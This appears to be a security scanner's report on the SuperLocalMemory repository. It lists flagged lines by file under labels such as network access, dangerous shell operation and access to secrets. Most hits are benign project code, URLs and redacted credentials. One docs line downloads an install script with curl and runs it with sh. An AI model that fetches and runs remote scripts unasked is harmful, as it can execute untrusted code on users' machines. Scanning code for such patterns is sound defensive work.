echo "LoCoMo ok at $LOCOMO_COMMIT (licence: CC BY-NC 4.0, see $dest/LICENSE.txt)" - Network accessline 35
out="$HOME_DIR/arxiv/$id.pdf" [ -s "$out" ] && continue if curl -fsSL --max-time 30 -o "$out" "https://arxiv.org/pdf/$id"; then - Network accessline 36
[ -s "$out" ] && continue if curl -fsSL --max-time 30 -o "$out" "https://arxiv.org/pdf/$id"; then echo "fetched arXiv $id" - Network accessline 37
if curl -fsSL --max-time 30 -o "$out" "https://arxiv.org/pdf/$id"; then - Dangerous shell operationline 40
rm -f "$out" - Network accessline 48
COCO_REPO="https://huggingface.co/datasets/nlphuji/mscoco_2014_5k_test_image_text_retrieval/resolve" - Network accessline 53
fetch_coco() { # $1 remote name, $2 local name, $3 sha256 prefix out="$HOME_DIR/coco/$2" [ -s "$out" ] || curl -fsSL --max-time 900 -o "$out" "$COCO_REPO/$COCO_REV/$1" || { rm -f "$out"; echo "skipped COCO $1" >&2; return 0; } - Network accessline 54
out="$HOME_DIR/coco/$2" [ -s "$out" ] || curl -fsSL --max-time 900 -o "$out" "$COCO_REPO/$COCO_REV/$1" || { rm -f "$out"; echo "skipped COCO $1" >&2; return 0; } sum="$( (sha256sum "$out" 2>/dev/null || shasum -a 256 "$out") | cut -d' ' - Dangerous shell operationline 55
[ -s "$out" ] || curl -fsSL --max-time 900 -o "$out" "$COCO_REPO/$COCO_REV/$1" || { rm -f "$out"; echo "skipped COCO $1" >&2; return 0; } - Network accessline 55
[ -s "$out" ] || curl -fsSL --max-time 900 -o "$out" "$COCO_REPO/$COCO_REV/$1" || { rm -f "$out"; echo "skipped COCO $1" >&2; return 0; } - Dangerous shell operationline 57
case "$sum" in "$3"*) echo "COCO $2 ok ($sum)";; *) echo "COCO $2 checksum mismatch: $sum" >&2; rm -f "$out"; exit 1;; esac
benchmarks/embedder_compare/fusion.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/golden/media_queries.jsonl
- Access to secretsline 32
[Credential-related source omitted]
benchmarks/embedder_compare/media_floor.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/ocr.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/ranking.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/report.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/rss.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/run_eval.py
benchmarks/embedder_compare/stats.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/synth_images.py
benchmarks/embedder_compare/synth_pdfs.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/synth_visual.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/conftest.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_build.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_build_arxiv.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_candidates.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_e2e.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_e2e_media.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_pipeline.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/tests/test_stats.py
- Executable scriptline 1
Executable file
benchmarks/embedder_compare/text_scale.py
- Executable scriptline 1
Executable file - Network accessline 6
conversations (about 1,440 questions). Each conversation is its own store: a question only searches the turns of its own conversation, as one SLM profile would. LoCoMo is downloaded by fetch_data.sh (CC BY-NC 4.0); nothing is committed. - Network accessline 8
LoCoMo is downloaded by fetch_data.sh (CC BY-NC 4.0); nothing is committed.
benchmarks/embedder_compare/worker.py
benchmarks/resource_lifecycle/__init__.py
- Executable scriptline 1
Executable file
benchmarks/resource_lifecycle/harness.py
- Executable scriptline 1
Executable file - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 306
[Credential-related source omitted]
benchmarks/resource_lifecycle/run_benchmark.py
- Executable scriptline 1
#!/usr/bin/env python3
bin/slm
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 2
# SuperLocalMemory V3 CLI # Part of Qualixar | https://superlocalmemory.com - Network accessline 3
# Part of Qualixar | https://superlocalmemory.com - Network accessline 55
if [ -z "$PY_MAJOR" ] || [ "$PY_MAJOR" -lt 3 ] \ || { [ "$PY_MAJOR" -eq 3 ] && [ "${PY_MINOR:-0}" -lt 12 ]; }; then echo "Error: Python 3.12+ required (found: ${PY_VERSION_OUTPUT:-unknown} via $PYTHON). Install from https://python.or - Network accessline 56
|| { [ "$PY_MAJOR" -eq 3 ] && [ "${PY_MINOR:-0}" -lt 12 ]; }; then echo "Error: Python 3.12+ required (found: ${PY_VERSION_OUTPUT:-unknown} via $PYTHON). Install from https://python.org/downloads/" >&2 exit 1 - Network accessline 57
echo "Error: Python 3.12+ required (found: ${PY_VERSION_OUTPUT:-unknown} via $PYTHON). Install from https://python.org/downloads/" >&2
bin/slm-npm
- Executable scriptline 1
#!/usr/bin/env node
bin/slm.bat
- Executable scriptline 1
Executable file - Network accessline 3
REM Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar REM Licensed under MIT License REM Repository: https://github.com/qualixar/superlocalmemory - Network accessline 5
REM Repository: https://github.com/qualixar/superlocalmemory - Network accessline 51
echo Error: Python 3.12+ not found. echo Install from: https://python.org/downloads/ - Network accessline 52
echo Install from: https://python.org/downloads/ - Network accessline 73
:version_unsupported echo Error: Python 3.12+ required ^(found: %PY_VER_STR%^ via %PYTHON_CMD%^). Install from https://python.org/downloads/ 1>&2 - Network accessline 74
echo Error: Python 3.12+ required ^(found: %PY_VER_STR%^ via %PYTHON_CMD%^). Install from https://python.org/downloads/ 1>&2
bin/slm.cmd
- Executable scriptline 1
Executable file
clawhub-skill/superlocalmemory/SKILL.md
- Network accessline 8
bins: - slm homepage: https://superlocalmemory.com - Network accessline 9
- slm homepage: https://superlocalmemory.com --- - Network accessline 10
homepage: https://superlocalmemory.com - Network accessline 17
The SLM engine is a separate open-source project (AGPL-3.0-or-later): https://github.com/qualixar/superlocalmemory. This skill only explains how to use it.
codex-plugin/.claude-plugin/plugin.json
- Network accessline 2
"author": { "name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" - Network accessline 3
"name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" }, - Network accessline 4
"url": "https://github.com/qualixar/superlocalmemory" - Network accessline 15
"mcpServers": "./.mcp.json", "name": "superlocalmemory-codex", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 16
"name": "superlocalmemory-codex", "repository": "https://github.com/qualixar/superlocalmemory", "version": "4.2.13" - Network accessline 17
"repository": "https://github.com/qualixar/superlocalmemory",
codex-plugin/.codex-plugin/plugin.json
- Network accessline 6
"name": "Qualixar", "email": "varun.pratap.bhardwaj@gmail.com", "url": "https://github.com/qualixar" - Network accessline 7
"email": "varun.pratap.bhardwaj@gmail.com", "url": "https://github.com/qualixar" }, - Network accessline 8
"url": "https://github.com/qualixar" - Network accessline 9
}, "homepage": "https://superlocalmemory.com", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 10
"homepage": "https://superlocalmemory.com", - Network accessline 11
"repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 33
"Write" ], "websiteURL": "https://superlocalmemory.com", - Network accessline 34
], "websiteURL": "https://superlocalmemory.com", "privacyPolicyURL": "https://qualixar.com/privacy", - Network accessline 35
"websiteURL": "https://superlocalmemory.com", - Network accessline 36
"privacyPolicyURL": "https://qualixar.com/privacy", - Network accessline 37
"termsOfServiceURL": "https://qualixar.com/terms",
codex-plugin/README.md
- Network accessline 207
SuperLocalMemory v4.2.13 · Qualixar · https://github.com/qualixar/superlocalmemory
codex-plugin/assets/icon.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
codex-plugin/scripts/ensure-venv.bat
- Executable scriptline 1
Executable file
codex-plugin/scripts/ensure-venv.sh
codex-plugin/scripts/slm-launch
codex-plugin/scripts/slm-launch.bat
- Executable scriptline 1
Executable file
codex-plugin/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
codex-plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
codex-plugin/skills/slm-recall/SKILL.md
codex-plugin/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
conftest.py
- Executable scriptline 1
Executable file - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Network accessline 102
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _sock:
copilot-plugin/.github/prompts/slm-cache.prompt.md
- Network accessline 90
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 92
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
copilot-plugin/.github/prompts/slm-getting-started-bot.prompt.md
- Instruction override signalline 41
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
copilot-plugin/.github/prompts/slm-recall.prompt.md
copilot-plugin/.github/prompts/slm-web-access.prompt.md
- Network accessline 27
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 40
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 41
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 42
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 43
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 44
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
copilot-plugin/scripts/ensure-venv.bat
- Executable scriptline 1
Executable file
copilot-plugin/scripts/ensure-venv.sh
copilot-plugin/scripts/slm-launch
copilot-plugin/scripts/slm-launch.bat
- Executable scriptline 1
Executable file
copilot-plugin/scripts/slm-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash
copilot-plugin/scripts/slm-run
copilot-plugin/scripts/torch-cpu-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 8
# documents the same PyPI default for `uv pip`; plain pip resolves the same # index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: - Network accessline 9
# index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: # pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 10
# https://pytorch.org/get-started/locally/ as: - Network accessline 11
# pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 26
TORCH_CPU_INDEX_URL="https://download.pytorch.org/whl/cpu"
cursor-plugin/.cursor-plugin/plugin.json
- Network accessline 4
}, "description": "Local-first long-term memory for your agents and bots: remember, recall and session context stored on your own computer, with reversible compression and a cache for large tool outputs.", "homepage": "https://superloca - Network accessline 5
"description": "Local-first long-term memory for your agents and bots: remember, recall and session context stored on your own computer, with reversible compression and a cache for large tool outputs.", "homepage": "https://superlocalmemo - Network accessline 6
"homepage": "https://superlocalmemory.com", - Network accessline 19
"mcpServers": "./mcp.cursor.json", "name": "superlocalmemory", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 20
"name": "superlocalmemory", "repository": "https://github.com/qualixar/superlocalmemory", "skills": "./cursor-skills/", - Network accessline 21
"repository": "https://github.com/qualixar/superlocalmemory",
cursor-plugin/assets/logo.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
cursor-plugin/cursor-skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
cursor-plugin/cursor-skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
cursor-plugin/cursor-skills/slm-recall/SKILL.md
cursor-plugin/cursor-skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
docs/RELEASE-CHECKLIST.md
- Access to secretsline 18
[Credential-related source omitted]
docs/SECURITY-encryption-at-rest.md
docs/answer-check.md
- Network accessline 151
> **Shared Macs:** on a Mac used by several people with separate accounts, another account can change these settings through the local service. See [Shared Macs](https://github.com/qualixar/superlocalmemory/blob/main/docs/SECURITY-encryptio - Access to secretsline 158
[Credential-related source omitted]
docs/assets/slm-architecture.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1600 1088" width="1600" height="1088" font-family="Inter, -apple-system, 'Segoe UI', Helvetica, Arial, sans-serif" role="img" aria-labelledby="t d">
docs/assets/slm-pipeline.svg
docs/auth-write-gate.md
- Network accessline 15
|-----------|-------------|-----------------| | **Daemon capability** | Internal daemon process (process/filesystem state) | MCP `remember` / `recall` calls routed through the resident daemon itself | | **Install token** | Same-origin dashb - Network accessline 16
| **Daemon capability** | Internal daemon process (process/filesystem state) | MCP `remember` / `recall` calls routed through the resident daemon itself | | **Install token** | Same-origin dashboard browser | Dashboard writes and config tes - Network accessline 17
| **Install token** | Same-origin dashboard browser | Dashboard writes and config tests at `http://127.0.0.1:8765` | - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Network accessline 45
curl -X POST http://<slm-host>:8765/api/memories \ - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 191
# 3. Call from the container using the API key: curl -X POST http://localhost:8765/api/memories \ - Network accessline 192
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted]
docs/benchmarks.md
- Network accessline 8
Source: [Architecture preprint (arXiv:2603.14588)](https://arxiv.org/abs/2603.14588).
docs/cli-reference.md
docs/cloud-backup.md
- Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 62
1. Open the SLM Dashboard: `http://localhost:8765` - Network accessline 66
- **Personal Access Token**: Click [Create one here](https://github.com/settings/tokens/new?scopes=repo&description=SLM+Backup) — this opens GitHub with the `repo` scope pre-selected. Click "Generate token" and copy it. - Network accessline 137
1. Go to [Google Cloud Console](https://console.cloud.google.com/) - Network accessline 168
http://localhost:8765/api/backup/oauth/google/callback - Network accessline 175
1. Open the SLM Dashboard: `http://localhost:8765` - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 322
[Credential-related source omitted] - Access to secretsline 325
[Credential-related source omitted] - Network accessline 329
[Credential-related source omitted] - Access to secretsline 329
[Credential-related source omitted] - Network accessline 330
[Credential-related source omitted] - Access to secretsline 330
[Credential-related source omitted] - Network accessline 331
- **Google OAuth tokens** are refresh tokens — they can be revoked from your [Google Account Security page](https://myaccount.google.com/permissions) - Network accessline 332
- **GitHub PATs** can be revoked from [GitHub Settings → Tokens](https://github.com/settings/tokens) - Network accessline 357
### Google Drive shows "Connection Failed" - Make sure you added yourself as a **test user** in the OAuth consent screen - Verify the redirect URI matches exactly: `http://localhost:8765/api/backup/oauth/google/callback` - Network accessline 358
- Make sure you added yourself as a **test user** in the OAuth consent screen - Verify the redirect URI matches exactly: `http://localhost:8765/api/backup/oauth/google/callback` - Check that the SLM daemon is running on port 8765 - Network accessline 359
- Verify the redirect URI matches exactly: `http://localhost:8765/api/backup/oauth/google/callback`
docs/company-mode.md
- Access to secretsline 115
[Credential-related source omitted]
docs/configuration.md
- Network accessline 64
# Or point Mode B at another local server slm provider set custom --endpoint http://localhost:8041/v1 --mode b - Network accessline 65
slm provider set custom --endpoint http://localhost:8041/v1 --mode b - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Network accessline 197
"embedding": { "provider": "openai", "api_endpoint": "https://models.example.test/v1/embeddings", - Network accessline 198
"provider": "openai", "api_endpoint": "https://models.example.test/v1/embeddings", "model_name": "Qwen3-Embedding", - Network accessline 199
"api_endpoint": "https://models.example.test/v1/embeddings", - Network accessline 204
"use_cross_encoder": true, "cross_encoder_backend": "openai", "cross_encoder_endpoint": "https://models.example.test/v1/rerank", - Network accessline 205
"cross_encoder_backend": "openai", "cross_encoder_endpoint": "https://models.example.test/v1/rerank", "cross_encoder_model": "/root/model/reranker.gguf", - Network accessline 206
"cross_encoder_endpoint": "https://models.example.test/v1/rerank", - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Network accessline 382
| Variable | Default | Description | |---|---|---| | `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM instance (e.g., `http://192.168.1.100:8765`) | - Network accessline 383
|---|---|---| | `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM instance (e.g., `http://192.168.1.100:8765`) | | `SLM_MESH_SHARED_SECRET` | unset | Shared bearer token — same on both machines. Required when `SLM_MESH_HOST` is not local - Network accessline 384
| `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM instance (e.g., `http://192.168.1.100:8765`) |
docs/distributed-deployment.md
- Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 305
[Credential-related source omitted] - Network accessline 315
{ "type": "http", "url": "http://192.168.50.144:8765/mcp/" - Network accessline 316
"type": "http", "url": "http://192.168.50.144:8765/mcp/" } - Network accessline 317
"url": "http://192.168.50.144:8765/mcp/" - Network accessline 327
"type": "stdio", "command": "npx", "args": ["-y", "mcp-remote", "http://192.168.50.144:8765/mcp/", "--allow-http"] - Network accessline 328
"command": "npx", "args": ["-y", "mcp-remote", "http://192.168.50.144:8765/mcp/", "--allow-http"] } - Network accessline 329
"args": ["-y", "mcp-remote", "http://192.168.50.144:8765/mcp/", "--allow-http"] - Network accessline 350
| URL | Resolved `agent_id` | |-----|---------------------| | `http://127.0.0.1:8765/mcp/` | `mcp_client` (default, backward compatible) | - Network accessline 351
|-----|---------------------| | `http://127.0.0.1:8765/mcp/` | `mcp_client` (default, backward compatible) | | `http://127.0.0.1:8765/mcp/claude` | `claude` | - Network accessline 352
| `http://127.0.0.1:8765/mcp/` | `mcp_client` (default, backward compatible) | - Network accessline 353
| `http://127.0.0.1:8765/mcp/claude` | `claude` | - Network accessline 354
| `http://127.0.0.1:8765/mcp/hermes` | `hermes` | - Network accessline 355
| `http://127.0.0.1:8765/mcp/gemini` | `gemini` | - Network accessline 356
| `http://127.0.0.1:8765/mcp/codex` | `codex` | - Network accessline 357
| `http://127.0.0.1:8765/mcp/kimi` | `kimi` | - Network accessline 377
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/claude" } - Network accessline 442
[Credential-related source omitted] - Network accessline 444
[Credential-related source omitted]
docs/framework-adapters.md
- Network accessline 25
git clone https://github.com/qualixar/superlocalmemory - Network accessline 141
from llama_index.storage.chat_store.superlocalmemory import SuperLocalMemoryChatStore from llama_index.core.memory import ChatMemoryBuffer # https://raw.githubusercontent.com/run-llama/llama_index/main/llama-index-core/llama_index/core/base - Network accessline 142
from llama_index.core.memory import ChatMemoryBuffer # https://raw.githubusercontent.com/run-llama/llama_index/main/llama-index-core/llama_index/core/base/llms/types.py from llama_index.core.llms import ChatMessage, MessageRole - Network accessline 143
# https://raw.githubusercontent.com/run-llama/llama_index/main/llama-index-core/llama_index/core/base/llms/types.py - Network accessline 230
# https://openai.github.io/openai-agents-python/sessions/ - Access to secretsline 234
[Credential-related source omitted] - Network accessline 244
API: https://openai.github.io/openai-agents-python/sessions/
docs/getting-started.md
- Dangerous shell operationline 42
`sudo add-apt-repository ppa:deadsnakes/ppa && sudo apt install python3.12 python3.12-venv` - Network accessline 50
> Then set `SLM_PYTHON=~/.slm-venv/bin/python` so `slm` uses that interpreter. > > If you use [uv](https://docs.astral.sh/uv/), you can instead install `slm` as - Network accessline 51
> > If you use [uv](https://docs.astral.sh/uv/), you can instead install `slm` as > an isolated tool that needs no activation and no `SLM_PYTHON`: - Network accessline 52
> If you use [uv](https://docs.astral.sh/uv/), you can instead install `slm` as - Network accessline 66
Install SuperLocalMemory on this computer for me. Follow https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Network accessline 67
https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Dangerous shell operationline 77
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 77
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh
docs/hermes.md
- Network accessline 16
hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin' - Network accessline 51
SHA=$(git ls-remote https://github.com/qualixar/superlocalmemory.git refs/tags/v4.2.7^{} | cut -f1) - Network accessline 52
hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin' --force --ref "$SHA" - Network accessline 115
mcp_servers: superlocalmemory: url: "https://192.168.50.144:8443/mcp/hermes" - Network accessline 116
superlocalmemory: url: "https://192.168.50.144:8443/mcp/hermes" headers: - Network accessline 117
url: "https://192.168.50.144:8443/mcp/hermes" - Access to secretsline 119
[Credential-related source omitted]
docs/ide-setup.md
- Network accessline 1
# IDE Setup > SuperLocalMemory V4 Documentation > https://superlocalmemory.com | Part of Qualixar - Network accessline 3
> https://superlocalmemory.com | Part of Qualixar - Network accessline 39
"type": "stdio", "command": "npx", "args": ["-y", "mcp-remote", "http://127.0.0.1:8765/mcp/"] - Network accessline 40
"command": "npx", "args": ["-y", "mcp-remote", "http://127.0.0.1:8765/mcp/"] } - Network accessline 41
"args": ["-y", "mcp-remote", "http://127.0.0.1:8765/mcp/"] - Network accessline 87
claude mcp add --transport http superlocalmemory http://127.0.0.1:8765/mcp/ - Network accessline 95
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" - Network accessline 96
"type": "http", "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 97
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 148
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" - Network accessline 149
"type": "http", "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 150
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 188
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" - Network accessline 189
"type": "http", "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 190
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 229
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" - Network accessline 230
"type": "http", "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 231
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 267
"superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" - Network accessline 268
"type": "http", "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 269
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 305
"mcpServers": { "superlocalmemory": { "httpUrl": "http://127.0.0.1:8765/mcp/" - Network accessline 306
"superlocalmemory": { "httpUrl": "http://127.0.0.1:8765/mcp/" } - Network accessline 307
"httpUrl": "http://127.0.0.1:8765/mcp/" - Network accessline 336
"mcpServers": { "superlocalmemory": { "serverUrl": "http://127.0.0.1:8765/mcp/" - Network accessline 337
"superlocalmemory": { "serverUrl": "http://127.0.0.1:8765/mcp/" } - Network accessline 338
"serverUrl": "http://127.0.0.1:8765/mcp/" - Network accessline 373
command = "mcp-remote" args = [ "http://127.0.0.1:8765/mcp/", - Network accessline 374
args = [ "http://127.0.0.1:8765/mcp/", "--allow-http", - Network accessline 375
"http://127.0.0.1:8765/mcp/", - Network accessline 389
"-y", "mcp-remote", "http://127.0.0.1:8765/mcp/", - Network accessline 390
"mcp-remote", "http://127.0.0.1:8765/mcp/", "--allow-http", - Network accessline 391
"http://127.0.0.1:8765/mcp/", - Network accessline 419
superlocalmemory: type: http url: http://127.0.0.1:8765/mcp/ - Network accessline 421
url: http://127.0.0.1:8765/mcp/ - Network accessline 448
"mcpServers": { "superlocalmemory": { "url": "http://127.0.0.1:8765/mcp/" - Network accessline 449
"superlocalmemory": { "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 450
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 481
"transport": "http", "enabled": true, "url": "http://127.0.0.1:8765/mcp/" - Network accessline 482
"enabled": true, "url": "http://127.0.0.1:8765/mcp/" } - Network accessline 483
"url": "http://127.0.0.1:8765/mcp/" - Network accessline 539
# https://docs.continue.dev/reference - Network accessline 617
# Confirm the daemon is running and /mcp is live curl -s http://127.0.0.1:8765/mcp/ \ - Network accessline 618
curl -s http://127.0.0.1:8765/mcp/ \ - Network accessline 658
Then re-test with the curl command above. - Network accessline 681
When using HTTP transport, all IDEs connect to the same daemon process at `http://127.0.0.1:8765/mcp/`. This is intentional — it is what keeps RAM flat.
docs/install-linux.md
docs/mcp-tools.md
- Network accessline 27
{ "mcpServers": { "superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" } } }
docs/multi-machine.md
- Access to secretsline 31
[Credential-related source omitted] - Network accessline 38
export SLM_MESH_PEER_URL=http://192.168.1.100:8765 - Access to secretsline 39
[Credential-related source omitted] - Network accessline 48
"args": ["mcp"], "env": { "SLM_MESH_PEER_URL": "http://192.168.1.100:8765", - Network accessline 49
[Credential-related source omitted] - Network accessline 50
"SLM_MESH_PEER_URL": "http://192.168.1.100:8765", - Network accessline 60
| Variable | Default | Description | |---|---|---| | `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM (e.g., `http://192.168.1.100:8765`) | - Network accessline 61
|---|---|---| | `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM (e.g., `http://192.168.1.100:8765`) | | `SLM_MESH_SHARED_SECRET` | unset | Shared auth token — same value on both machines | - Network accessline 62
| `SLM_MESH_PEER_URL` | unset | Full URL of remote SLM (e.g., `http://192.168.1.100:8765`) | - Network accessline 116
**Remote peers not appearing:** 1. Confirm `SLM_MESH_PEER_URL` is set on computer B. 2. Check computer A's SLM is running: `curl http://192.168.1.100:8765/health` - Network accessline 117
1. Confirm `SLM_MESH_PEER_URL` is set on computer B. 2. Check computer A's SLM is running: `curl http://192.168.1.100:8765/health` 3. Verify shared secret matches on both machines. - Network accessline 118
2. Check computer A's SLM is running: `curl http://192.168.1.100:8765/health` - Network accessline 131
[Credential-related source omitted] - Network accessline 132
[Credential-related source omitted]
docs/opencode.md
docs/optimize-cli.md
- Network accessline 269
